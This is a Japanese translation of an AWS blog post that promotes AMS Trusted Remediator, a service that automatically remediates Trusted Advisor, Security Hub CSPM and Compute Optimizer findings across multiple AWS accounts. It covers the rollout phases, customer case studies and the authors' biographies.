多くの企業は「自分で作り、自分で運用する (you build it, you run it)」という考え方を取り入れています。そのため、アプリケーションチームは運用まで自分たちで責任を持ち自律的に判断できるようになる一方で、バックログには優先順位を争うタスクが積み上がります。たとえば、プロダクトマネージャーは新機能を求め、エンジニアリングのリーダーは開発速度を保つために技術的負債の削減を重視し、ビジネスの関係者は売上につながる信頼性の向上を期待します。このようにすでに混み合っているバックログに修復作業まで加わります。修復は組織のセキュリティとコンプライアンスに欠かせませんが、エンドのお客様には見えず、ビジネス指標に直接影響するお客様向けの機能と比べると優先する理由を説明しにくい作業です。こうして、プラットフォーム、SecOps、FinOps のリーダーは全社のセキュリティ状況とコンプライアンスの成果に責任を負っていながら、各アプリケーションチームに対して直接指示する権限はないという根本的なずれが生まれます。 実施を阻む現実的な課題 修復に前向きなアプリケーションチームでも現実にはさまざまな壁にぶつかります。必要な変更を行う権限がなく、追加の承認や、組織の境界を越えた調整が必要になることがよくあります。また検出された内容を調べてビジネスへの影響を理解するのにも、特に複雑なサービスや構成ではかなりの時間がかかります。さらに、変更が安全か既存のワークロードと互換性があるかを慎重に評価する必要があり、これには専門知識と注意深さが求められます。最後に、運用の基準を守るため、修復のたびにドキュメントの作成と検証も必要です。これらが重なると 1 件の修復にかかる期間が数時間から数日、場合によっては数週間にまで延びます。そのため自動化なしですべての推奨事項に対応し続けるのは現実的ではありません。 修復のギャップ:よい推奨事項が実施されない理由 手作業による修復は企業の規模やニーズが大きくなるほど対応しきれなくなります。調査、実施、テスト、ドキュメント作成に加えてサービスの知識も必要で、本来はイノベーションに充てるべきエンジニアリングのリソースを大量に消費してしまうためです。 その影響は小さくありません。たとえば、優秀なエンジニアが Amazon Simple Storage Service (Amazon S3) バケットのログ記録の有効化や Amazon Elastic Compute Cloud (Amazon EC2) のインスタンスタイプの調整といった推奨事項の実施に時間を取られ、お客様向けのプロダクトを作る時間が削られます。その結果、推奨事項は次々と生成される一方で、対応に割ける時間は限られているため、実施が追いつかずその差が広がっていきます。未対応の指摘は脆弱性として残り、最適化の遅れは無駄なコストにつながります。またコンプライアンスの不備は規制リスクを生み、積み上がるバックログはチームの士気を下げます。 こうした状況では推奨事項の量と修復の対応力が根本的に釣り合っていないため、修復をその都度の手作業に任せるのではなく、体系的で自動化されたプロセスとして見直す必要があります。問うべきは修復を自動化するかどうかではありません。手作業のプロセスが限界を迎える前に、どれだけ早く自動化を進められるかです。 解決策:AWS Managed Services (AMS) Trusted Remediator AWS Organizations 全体での自動修復 AMS Trusted Remediator は複数アカウントの AWS 環境にまたがって、包括的な自動修復をスムーズに実行します。具体的には Trusted Advisor、Security Hub CSPM、Compute Optimizer の検出事項を統一された枠組みで扱い、数週間かかっていた手作業を数分の自動処理に変えます。これにより修復にかかる時間を最大 95% 短縮できます。またテストを重ねて有効性が確認された修復をいくつかの簡単な手順で設定し、安心してデプロイできます。こうした企業規模の自動化とわかりやすい使い勝手の組み合わせにより、手作業の負担なしにセキュリティホールをふさぎ、コストを削減し、コンプライアンスを維持できます。 図 1: Trusted Remediator の構成図 この図は AMS Trusted Remediator のソリューション構成を示しています。まず AWS AppConfig が委任管理者アカウントを通じて修復の設定を管理します。一方、AWS Trusted Advisor は 1 から n までのメンバーアカウントで問題を検出します。検出された問題は Systems Manager Automation ドキュメントで自動的に修復され、Systems Manager OpsItems (1 から n まで) で活動が追跡されます。最後に、結果は Amazon S3 に記録され Amazon Quick のダッシュボードで可視化されます。 修復の対象範囲:116 件の自動化と、急速に広がる対応範囲 このソリューションは 6 つの重要な運用分野にわたり、自動修復に対応する 116 件の チェック を提供します。最も多いのはセキュリティの 64 件で、設定の誤り、コンプライアンス違反、アクセス制御の管理に対応します。コスト最適化の 16 件は、未使用リソースの特定、適切なサイズへの変更、コストの非効率の修復を扱います。耐障害性の 17 件は、バックアップ戦略の強化、災害対策の構成、システムの回復力に注目します。パフォーマンスの 8 件は、リソースのサイジングとチューニングの推奨事項を扱い、サービス制限の 7 件は、クォータ管理とキャパシティ計画に対応します。運用上の優秀性の 4 件は、適切なモニタリング、ログ記録、運用のベストプラクティスの実施を確認します。 AMS Trusted Remediator の主な機能 安全な修復の枠組み AMS Trusted Remediator は安全に修復を進めるための枠組みを備えています。重要な修復についてはリソースの種類や環境に応じて、人の承認を挟む手動ワークフローとして扱うよう設定できます。この方法ならガバナンスに必要な統制を保ちつつ、自動化の利点を最大限に引き出せます。この枠組みの中核となるのは AWS Systems Manager の Automation ドキュメントです。繰り返し実行できて冪等性があるように丁寧に設計されているため、AWS インフラストラクチャ全体で一貫して信頼できる修復結果が得られます。 他のサービスとの連携 AMS Trusted Remediator は既存の AWS 運用ツールとスムーズに連携し、クラウド運用を強化する包括的な自動化の仕組みを作ります。具体的には Trusted Advisor、Security Hub CSPM、Compute Optimizer の検出事項を自動で取り込んで修復し、最も重要な問題から優先して対処できます。修復の過程では、実行者、操作、タイムスタンプ、対象リソースといった重要な詳細を含む完全な監査証跡を保持し、コンプライアンス報告やインシデント発生後の原因調査(フォレンジック分析)に必要な情報を提供します。 一元管理コンソール 運用チームは複数アカウントの修復を 1 つの画面で管理・監視できます。コンソールには委任管理の機能があり各運用チームが自分の担当範囲の修復を管理しながら、組織全体の監督と統制も維持できます。 図 2: Trusted Advisor の検出事項に対する Trusted Remediator のワークフロー この図は AMS Trusted Remediator のワークフローを示しています。まず AWS Trusted Advisor がリソースの問題を検出します。次に、検出された問題をあらかじめ定義された Trusted Remediator の設定に照らして評価します。ソリューションが適切な修復アクションをスケジュールし、AWS Systems Manager Automation ドキュメントで自動修復を実行して検出された問題を解決します。 導入のロードマップ 前提条件 ソリューションを導入する前にいくつかの重要な前提条件を満たす必要があります。まず AMS Accelerate の利用契約が有効であることが必要です。また、セキュリティ、FinOps、運用の各チームの足並みをそろえ、スムーズに導入できるようにしておくことも欠かせません。技術面では修復の元になる検出事項を得るために、Trusted Advisor、AWS Security Hub CSPM、Compute Optimizer を有効にしておく必要があります。最後に修復の過程全体で監査の可視性とコンプライアンスの追跡を確保するため、 Amazon CloudWatch と AWS CloudTrail を設定しておきます。 4 段階の導入ステップ フェーズ 1:評価と計画 導入は Trusted Advisor、Security Hub CSPM、Compute Optimizer から出ている現在の未対応の修復の包括的な分析から始まります。この分析で効果の大きい自動化の機会を見つけます。このフェーズではガバナンスの枠組みを整え、ワークフローを定義しビジネス上の価値とリスクに応じて修復の優先順位を決めます。またこのフェーズの成果物は優先順位をつけた実施リストと、明確に定義された成功指標です。この成功指標が以降のプロジェクトの指針になります。 フェーズ 2:構成と設定 計画フェーズが終わったら組織の要件に合わせて Systems Manager の Automation パラメータを設定します。クラウド運用チームは通知、ロールバックの仕組み、重要な操作の承認ゲートといった安全のための基本的な統制を実装します。修復の活動と進捗を把握できるよう運用ダッシュボードも作成します。このフェーズの終わりには堅牢なモニタリングを備え、最初のテストに進める本番に対応した自動化の基盤が整います。 フェーズ 3:パイロット導入 検証はリスクを抑えながら早く成果を出せるコスト最適化の修復から非本番環境で始めます。アプリケーションチームは自動修復がアプリケーションの機能、パフォーマンス、既存の連携に悪影響を与えないことを十分にテストして確認します。あわせて依存するサービス、ワークロードの動作、運用ワークフローへの影響も分析します。そのうえでチームは結果を注意深く監視し、パフォーマンスの指標を集め、関係者の意見やシステムの観察結果をもとに設定を調整します。テストにはアプリケーションのヘルスチェック、パフォーマンスのベンチマーク、互換性の評価も含まれ、修復がアプリケーションの要件や事業継続の基準に合っていることを確認します。このフェーズの成功はインシデントがゼロであることと、測定できるコスト削減が得られることで判断し、本格的な展開の前にソリューションへの組織内の信頼を築きます。 フェーズ 4:本番環境への展開 最後のフェーズでは少しずつ慎重に本番アカウントにも自動化を広げていきます。セキュリティの修復は安全に実行できる仕組みを整えてから有効にします。またソリューションへの信頼と経験が深まるにつれて、より複雑な複数ステップのシナリオにも対象を広げます。最終的な成功の基準は組織のすべてのアカウントで 80% 以上の自動修復率を達成し、コスト効率とセキュリティの状況を継続的に改善することです。 導入事例 カーティン大学:セキュリティコンプライアンスの強化 カーティン大学は世界でも上位に評価される研究機関で、5 つの海外キャンパスに分散した AWS 環境を管理しており、重要なセキュリティ課題を克服するため AMS と連携しました。同大学では増え続けるクラウドセキュリティのニーズに対し、技術的なリソースが限られていました。また手作業による修復は時間がかかるうえに一貫性がなく、セキュリティホールが生じていました。さらにキャンパスごとにセキュリティの運用が異なり、標準化が難しく、コンプライアンスの維持も困難でした。AMS Trusted Remediator の導入により同大学は半年で AWS Security Improvement Program (SIP) のスコアを 32% 改善し、年間目標を前倒しで上回りました。また優先度の高い 18 のチェックでセキュリティ修復を自動化すると同時に、78 件のコスト最適化も実施しセキュリティとコストの両面で効果を上げています。加えて、一元化されたプラットフォームによって分散したチーム間のコミュニケーションのギャップが埋まり、手作業が大きく減りました。この事例は複雑な組織構造を持つ企業でも、マネージドサービスによる自動化を通じてリアクティブな対応からプロアクティブなセキュリティ管理へと転換し、運用効率とコンプライアンスの成果を高められることを示しています。 金融機関:多数のアカウントで運用上の優秀性とコンプライアンスを実現 30 を超える AMS アカウントを管理する大手金融機関は多くの企業に共通する課題に直面していました。四半期ごとの厳しいコンプライアンス目標を達成しなければならない一方で、セキュリティチームは手作業の修復に追われていました。またセキュリティは同社の最優先事項でしたが、複数アカウントの環境で検出された件数が膨大でコンプライアンス要件に遅れないよう素早く対処することは困難でした。 AMS Trusted Remediator を導入すると変化はすぐに目に見える形で表れ、1,000 件を超えるセキュリティと運用の検出事項が自動的に修復されました。そのうち 64% は重要なセキュリティ強化に関するものです。たとえば機密性の高い金融データを守るために Amazon Relational Database Service (Amazon RDS) データベースでプロアクティブなモニタリングを有効にし、S3 バケットのログ記録も有効にしました。それにより手作業が減りコンプライアンスに準拠するまでにかかる時間も短縮されたことで、セキュリティチームはリアクティブな対応に追われる状態からセキュリティ状況を戦略的に改善する業務に移れました。この成果を受けて同社と AMS は現在、コンプライアンスの枠組みをさらに強化するため Trusted Remediator で扱う Security Hub CSPM のコントロールを追加で検討しています。 まとめ AMS Trusted Remediator はクラウド運用の管理を根本から変えます。セキュリティ、コスト最適化、運用の各分野にわたる包括的な自動修復を提供し Trusted Advisor、Security Hub CSPM、Compute Optimizer ともスムーズに連携します。大幅な時間の節約やコストの大きな削減といった、これまでに確認された成果はリアクティブなインシデント対応からプロアクティブな最適化へ移行できることを裏づけています。この移行により、組織は数日かかっていた修復サイクルをほぼ即時の対応にまで短縮できます。また一貫性のない手作業の実施は標準化された自動化に置き換わり、多くのリソースを要していたプロセスは効率のよい運用へと変わります。なお繰り返しの多い修復作業を自動化すれば技術チームはイノベーションと戦略的な取り組みに力を注げます。同時に AWS 環境全体で優れたセキュリティ状況、コンプライアンスの遵守、コスト効率を維持できます。 AMS Trusted Remediator の詳細と、カーティン大学の導入事例の全文については、次のリソースをご覧ください。 AWS Managed Services Accelerate のドキュメント AMS Trusted Remediator のドキュメント How Curtin University enhanced security compliance with AWS Managed Services Trusted Remediator Jason Wei-Lun Hsia Jason Wei-Lun Hsia は、シドニーを拠点とする AWS のシニアスペシャリストソリューションアーキテクトで、クラウド運用とセキュリティを専門としています。AWS の機能を活用して、安全でスケーラブルなソリューションの設計と運用を支援し、お客様が測定可能なビジネス成果を得られるようにしています。大規模なクラウド環境を管理するための効果的なソリューションづくりに情熱を注いでいます。 Deepa Banerjee Deepa Banerjee は、AWS Managed Services (AMS) のシニアテクニカルプログラムマネージャーです。AI を活用した自動化とインテリジェントなプロセス改善によって運用上の優秀性を実現し、ビジネス成果とお客様サービスを継続的に向上させることに取り組んでいます。AWS 内のプロダクトチームやエンジニアリングチームと緊密に連携し、お客様の運用に関わる複雑なビジネス課題に対処する自動化とソリューションを構築しています。仕事以外では、旅行、ダンス、絵を描くことを楽しんでいます。 Manu Sasikumar Manu Sasikumar は、Amazon Web Services のシニアシステムズエンジニアリングマネージャーです。生成 AI を活用して開発者の生産性とエンタープライズのお客様の運用効率を高める、インテリジェントな自動化プラットフォームを構築するチームを率いています。ミッションクリティカルなワークロード全体で、測定可能なコスト最適化と生産性向上をもたらすスケーラブルなソリューションの提供に注力しています。仕事以外では、講演やボランティア活動を通じて AWS コミュニティに貢献することに力を注いでいます。 Seongyeol Jerry Cho Seongyeol Jerry Cho は、オーストラリアのシドニーを拠点とする AWS Managed Services のシニアシステムズデベロップメントエンジニアです。AI を活用したクラウド運用と修復のソリューションの構築を専門とし、クラウド管理を強化するために、高いスケーラビリティを備えた自動化システムを開発しています。仕事以外では、旅行、キャンプ、読書、料理、ランニングを楽しんでいます。 翻訳はオペレーションエンジニアの上原が担当しました。原文は こちら です。